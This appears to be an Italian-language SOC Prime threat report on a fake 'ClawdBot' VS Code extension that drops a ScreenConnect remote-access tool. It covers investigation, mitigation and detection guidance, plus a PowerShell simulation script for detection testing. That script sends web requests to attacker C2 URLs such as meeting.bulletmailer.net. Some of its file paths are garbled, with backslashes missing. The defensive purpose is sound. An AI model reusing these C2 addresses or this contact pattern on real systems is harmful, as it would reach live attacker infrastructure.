SOC Prime Bias: Critico

28 Jan 2026 09:58 UTC

Estensione ClowdBot falsa di VS Code installa ScreenConnect RAT

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Segui
Estensione ClowdBot falsa di VS Code installa ScreenConnect RAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riepilogo

Un’estensione di Visual Studio Code dannosa chiamata ClawdBot Agent si spaccia per un assistente di codifica AI ma installa furtivamente uno strumento di accesso remoto ScreenConnect armato su Windows quando viene avviato VS Code. All’avvio, l’estensione preleva un file di configurazione da un dominio controllato dall’attaccante, quindi scarica e esegue un falso binario di VS Code (Code.exe) insieme a DLL di supporto. Come percorso di consegna secondario, può recuperare lo stesso installer da un link Dropbox per mantenere la disponibilità del payload. La campagna abusa di uno strumento di supporto IT affidabile per mimetizzarsi con attività di amministrazione remota legittima e ridurre i sospetti.

Indagine

I ricercatori hanno acquisito il package.json dell’estensione, confermato l’attivazione all’avvio di VS Code e recuperato la configurazione JSON remota elencante i componenti dannosi. L’analisi binaria ha mostrato moduli ScreenConnect firmati che inviavano segnali a un server di inoltro personalizzato. Ulteriore logica di ritorno è stata trovata in JavaScript e PowerShell, facendo riferimento a domini secondari e payload ospitati su Dropbox. Sono stati osservati artefatti su disco sotto la cartella %TEMP%Lightshot.

Mitigazione

Rimuovere l’estensione ClawdBot Agent da VS Code ed eliminare i file rimanenti dalla posizione di installazione di ScreenConnect e dalla directory %TEMP%Lightshot. Disinstallare il servizio client ScreenConnect e bloccare la connettività in uscita ai domini e agli IP di inoltro identificati. Ruotare eventuali chiavi API o segreti che possono essere stati inseriti nell’estensione.

Risposta

Rilevare l’estensione dannosa monitorando le installazioni delle estensioni VS Code e la creazione della directory Lightshot. Segnalare l’esecuzione di binari Code.exe o ScreenConnect da percorsi non standard e su connessioni in uscita a meeting.bulletmailer.net:8041 o l’indirizzo IP associato. Eseguire analisi forensi sull’host per confermare la rimozione della persistenza e identificare eventuali payload aggiuntivi.

Flusso di Attacco

Esecuzione Simulazione

Prerequisito: Il Controllo di Pre-Volare Telemetry & Baseline deve essere passato.

Narrativa dell’Attacco & Comandi

  1. L’attaccante pubblica un’estensione VS Code trojanizzata intitolata “Clawdbot Helper”.
  2. La vittima installa l’estensione tramite il Marketplace di VS Code, che esegue uno postinstall script che rilascia silenziosamente il client ScreenConnect (ScreenConnect.Client.exe) in %APPDATA%ScreenConnect.
  3. Immediatamente dopo l’installazione, il client avvia tre connessioni TCP in uscita ai domini C2 controllati dall’attaccante per recuperare payload aggiuntivi e segnalare lo stato dell’host.
  4. Le connessioni in uscita generano record Sysmon Event ID 3 corrispondenti al elenco dest_ip , soddisfacendo la regola di rilevamento.

Script di Test di Regressione

# --------------------------------------------------------------
# Simulazione di routine post‑install dell'estensione VS Code dannosa
# --------------------------------------------------------------

# Passo 1 – Rilasciare un binario fittizio ScreenConnect (simulato)
$payloadPath = "$env:APPDATAScreenConnectScreenConnect.Client.exe"
New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
# Creare un binario segnaposto innocuo (ad es. una copia di notepad.exe)
Copy-Item -Path "$env:SystemRootSystem32notepad.exe" -Destination $payloadPath -Force

# Passo 2 – Avviare connessioni in uscita a ciascun host C2
$c2Hosts = @(
    "http://meeting.bulletmailer.net/collect",
    "http://clawdbot.getintwopc.site/payload",
    "https://www.dropbox.com/s/evilpayload.exe"
)

foreach ($url in $c2Hosts) {
    try {
        # Richiesta web silenziosa; -UseBasicParsing evita prompt UI
        Invoke-WebRequest -Uri $url -Method GET -UseBasicParsing -TimeoutSec 5 | Out-Null
        Write-Host "Contattato $url"
    } catch {
        Write-Host "Impossibile contattare $url (aspettato in un sandbox)."
    }
}

# Fine del script – a questo punto Sysmon dovrebbe aver registrato tre
# eventi NetworkConnect i cui valori DestinationIp corrispondono alla regola.

Comandi di Pulizia

# --------------------------------------------------------------
# Rimuovere artefatti simulati
# --------------------------------------------------------------

# Arrestare eventuali job PowerShell in sospeso (nessuno in questo script semplice)
Get-Job | Remove-Job -Force

# Eliminare la cartella del client ScreenConnect fittizio
Remove-Item -Path "$env:APPDATAScreenConnect" -Recurse -Force

# Opzionalmente, svuotare il buffer Sysmon (richiede admin)
# sysmon -c